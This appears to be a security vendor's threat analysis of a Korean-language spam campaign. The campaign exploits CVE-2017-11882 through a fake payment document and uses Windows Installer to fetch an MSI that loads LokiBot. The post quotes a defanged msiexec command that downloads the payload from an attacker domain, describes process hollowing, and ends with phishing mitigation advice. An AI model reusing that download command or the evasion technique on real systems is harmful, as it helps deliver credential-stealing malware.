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# Attack Using Windows Installer Leads to LokiBot

Recently, we discovered CVE-2017-11882 being exploited again in an attack that uses an uncommon method of installation—via the Windows Installer service in Microsoft Windows operating systems.

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Read time: 4 min (1110 words)









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Back in November 2017, Microsoft patched CVE-2017-11882, a remote code execution vulnerability that affected Microsoft Office. However, this didn't prevent cybercrime groups such as Cobalt from exploiting this vulnerability in order to deliver a variety of malware, including FAREIT, Ursnif, and a cracked version of the Loki infostealer, a keylogger that was primarily advertised as capable of stealing passwords and cryptocurrency wallets.

Recently, we discovered CVE-2017-11882 being exploited again in an attack that uses an uncommon method of installation—via the Windows Installer service in Microsoft



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the Windows Installer service.

#### Infection Chain




Figure 1. Infection Chain for the attack

The samples we analyzed seem to be part of a malware spam campaign. It starts off with an email that asks the recipient to confirm a payment they made to the sender. The email contains text written in Korean, which is roughly translated as "hello, please"





The email also contains an attached document file labeled "Payment copy.Doc" (Detected by Trend Micro as TROJ\_CVE201711882.SM) which is supposedly a payment confirmation document. However, the attachment is actually used to exploit CVE-2017-11882.




Figure 2. Spam email containing the document file used to exploit CVE-2017-11882





Figure 3. How the document will appear to the user

The exploitation of this vulnerability leads to the download and installation of a malicious MSI package labeled *zus.msi* via *Windows Installer* through the following command line:

Call cmd.exe /c msiexec /q /l "hxxps[:]//www[.]uwaoma[.]info/zus.msi








Figure 5. MSIL binary after installation

Once downloaded, Windows Installer (*msiexec.exe*) will proceed to install an MSIL or Delphi binary to the system. Depending on the MSI package downloaded, it may contain either a heavily obfuscated Microsoft Intermediate Language (MSIL) or Delphi binary file, which then acts as a loader for the actual payload.

One notable aspect of the package is that it provides a compression layer that file scan engines need to process and enumerate in order to detect the file as malicious. While this is relatively simple, being able to detect and identify the actual payload might be more difficult since it is contained in the heavily obfuscated MSIL or Delphi binary.

The binary launches another randomly-named instance of itself. This instance will be hollowed out and replaced with the malware payload.

```
0021EAA0
          61781D19 CALL to CreateProcessW from mscorwks.61781D16
                    ModuleFileName = "C:\Users
          01A42ED8
                                                            \Documents\arubajsnfsol"
0021EAA4
                    CommandLine = ""C:\Users\
          01C870D0
                                                        \Documents\arubajsnfsol""
0021EAA8
          00000000
0021EAAC
                    pProcessSecurity = NULL
          00000000
0021EAB0
                    pThreadSecurity = NULL
0021EAB4
          00000000
                   InheritHandles = FALSE
                   CreationFlags = CREATE_SUSPENDED|CREATE_NO_WINDOW
          08000004
0021EAB8
          00000000 | pEnvironment = NULL
0021EABC
          00000000 | CurrentDir = NULL
0021EAC0
0021EAC4
          003C30D0 | pStartupInfo = 003C30D0
          0021EB90 LpProcessInfo = 0021EB90
0021EAC8
```

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So far, we have seen this technique used to deliver a sample we detected as LokiBot (TROJ\_LOKI.SMA). However, it is modular enough to deliver other payloads.




Figure 7. The malware sample we identified as a LokiBot variant

### Why does it use a new installation method?

Security software has become proficient at monitoring possible downloader processes such as Wscript, Powershell, Mshta.exe, Winword.exe, and other similar executables that have become increasingly popular methods of installing malicious payload. Due to their widespread use, it became easy to stop the arrival of threats via these software. However, the use of msiexec.exe to download a malicious MSI package is not something we typically see in most malware.

While other existing malware families use *msiexec.exe*, such as the Andromeda botnet (Detected by Trend Micro as ANDROM family), the difference is in how this method uses the installer. In Andromeda's case, code is injected to *msiexec.exe* to download updates and download the payloads. Another key difference is that when Andromeda downloads its payloads and updates, it immediately downloads and executes a PE file. This method uses an MSI package that *msiexec.exe* recognizes as an installation package, thereby using Windows Installer as intended.

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malware. In addition, MSI packages are typically abused for malicious purposes to install Potentially Unwanted Applications (PUA) and not by malware per se. This is a new direction for malware creators.

Why the use of this specific installation type? We believe it might represent a new evasion mechanism for malware creators to skirt around security software that usually focuses on traditional installation methods. While we did manage to detect samples of the malware payload in limited numbers, we cannot definitively say if these samples are being delivered via the method described. What we can surmise, however, is that the malware creators might be focusing on Korean targets given the language used in the sample email. They could also be testing different ways of delivery — like this new attack method — to determine their effectiveness.

## **Mitigation**

Given the use of phishing emails as the primary method of propagation, both users and organizations can mitigate the impact of this particular attack by implementing best practices designed to combat email-based threats.

Context is very important in this instance. For example, recipients should be suspicious of any email that asks for the confirmation of payment receipts or deliveries for non-existent transactions. Any unusual messages, sentences or phrases should also be a red flag for recipients. Again, in this case, the inclusion of a warning to check for any suspicious software is quite out of place in a supposed payment confirmation email. Communication that involve business transactions are also often highly professional, so any misspellings or grammatical errors, especially if excessive, could signify a phishing attempt.



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administrator.

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